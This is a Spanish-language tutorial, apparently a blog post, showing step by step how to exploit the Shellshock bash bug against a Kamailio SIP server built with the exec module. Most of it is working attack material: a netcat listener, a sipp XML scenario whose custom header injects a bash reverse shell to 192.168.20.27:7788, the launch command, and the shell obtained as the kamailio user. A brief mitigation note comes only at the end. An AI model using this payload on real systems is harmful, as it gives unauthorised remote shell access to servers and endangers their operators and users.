BashShock SIP server

Siguiendo con la serie de artículos formas de explotar el bug bashshock vamos a explicar como aplicar dicho ataque contra un servidor SIP, mas concretamente contra un Kamailio3.2, para ello utilizaremos una herramienta muy útil llamada sipp, se trata de un simulador de tráfico SIP, con él podremos montar escanarios SIP mediante ficheros xml, el truco consiste en pasarle una cabecera SIP al servidor la cual será modificada para que aproveche el bug bashshock, para que esto resulte Kamailio debe estar compilado con el módulo exec.

Primero comprobamos si nuestro servidor Kamailio es vulnerable:

env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”

vulnerable
this is a test

Para que este tipo de ataque funcione Kamailio debe ser compilado con soporte para exec, este módulo permite ejecutar comandos externos desde dentro de Kamailio, la documentación del módulo la podemos encontrar aquí .

make FLAVOUR=kamailio include_modules=“db_mysql p_usrloc regex snmpstats db_cluster exec” cfg

En el fichero de configuración cargamos dicho módulo:

vi /etc/kamailio/kamailio.cfg

loadmodule "exec.so"

En el enrutado debe haber algún lugar donde se ejecute un comando mediante exec, en mi caso:

vi /etc/kamailio/kamailio.cfg

exec_msg("echo TEST > /tmp/test.txt");

Los servidores SIP suelen funcionar en cluster y utilizar DNS-SRV para repartir la carga, averiguamos todos los servidores que hay detrás del dominio mediante:

dig SRV _sip._tcp.DOMAIN.com
dig SRV _sip._udp.DOMAIN.com

Para que nuestras pruebas no se balanceen y siempre vayan a un mismo servidor configuramos nuestro fichero hosts a una de las ips obtenidas mediante dig:

vi /etc/hosts

A.B.C.D DOMAIN.com

Ponemos a la escucha el socket que recibirá la conexión:

nc -l -p 7788

Pasamos a la parte del simulador, lo descargamos y lo compilamos:
http://downloads.sourceforge.net/project/sipp/

cd sipp
make ossl

Creamos nuestro escenario, es un escanario muy sencillo en el que no se cierra ni la conexión sip ya que solo queremos enviar el primer paquete para provocar el error y conseguir shell:

mkdir scenarios
vi scenarios/sipshock.xml

<?xml version="1.0" encoding="ISO-8859-1" ?>
<!DOCTYPE scenario SYSTEM "sipp.dtd">
<scenario name="Basic Sipstone UAC">
<send retrans="500">
<![CDATA[
INVITE sip:[service]@DOMAIN.com:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
From: sipp <sip:sipp@DOMAIN.com:[local_port]>;tag=[call_number]
To: sut <sip:[service]@DOMAIN.com:[remote_port]>
Call-ID: [call_id]
CSeq: 1 INVITE
Contact: sip:sipp@[local_ip]:[local_port]
Max-Forwards: 70
X-Ploit: () { :;}; exec /bin/bash -i >& /dev/tcp/192.168.20.27/7788 0>&1
Subject: Security Test
Content-Type: application/sdp
Content-Length: [len]
v=0
o=user1 53655765 2353687637 IN IP[local_ip_type] [local_ip]
s=-
c=IN IP[media_ip_type] [media_ip]
t=0 0
m=audio [media_port] RTP/AVP 0
a=rtpmap:0 PCMU/8000
]]>
</send>
<recv response="401" auth="true">
</recv>
</scenario>

Lanzamos el ataque:

./sipp -pause_msg_ign -sf scenarios/sipshock.xml -t tn -i 192.168.20.27 DOMAIN.com -max_socket 500

En la shell con el netcat deberíamos de haber recibido una shell con los privilegios del usuario con el que corre Kamailio:

kamailio@kamatest / $ id
id
uid=1000(kamailio) gid=1000(kamailio) groups=1000(kamailio)

NOTA: Si el comando exec está en una ruta en la cual debemos estar ya autenticados sería necesario autenticarse antes para llegar al punto crítico, esto implicaría un escanrio en sipp un poco mas complejo y tener unas credenciales válidas en dicho servidor.

Lo ideal sería actualizar la versión de bash y configurar el módulo exec para que no pase variables de entorno a la shell a no ser que sea estrictamente necesario:

modparam("exec", "setvars", 0)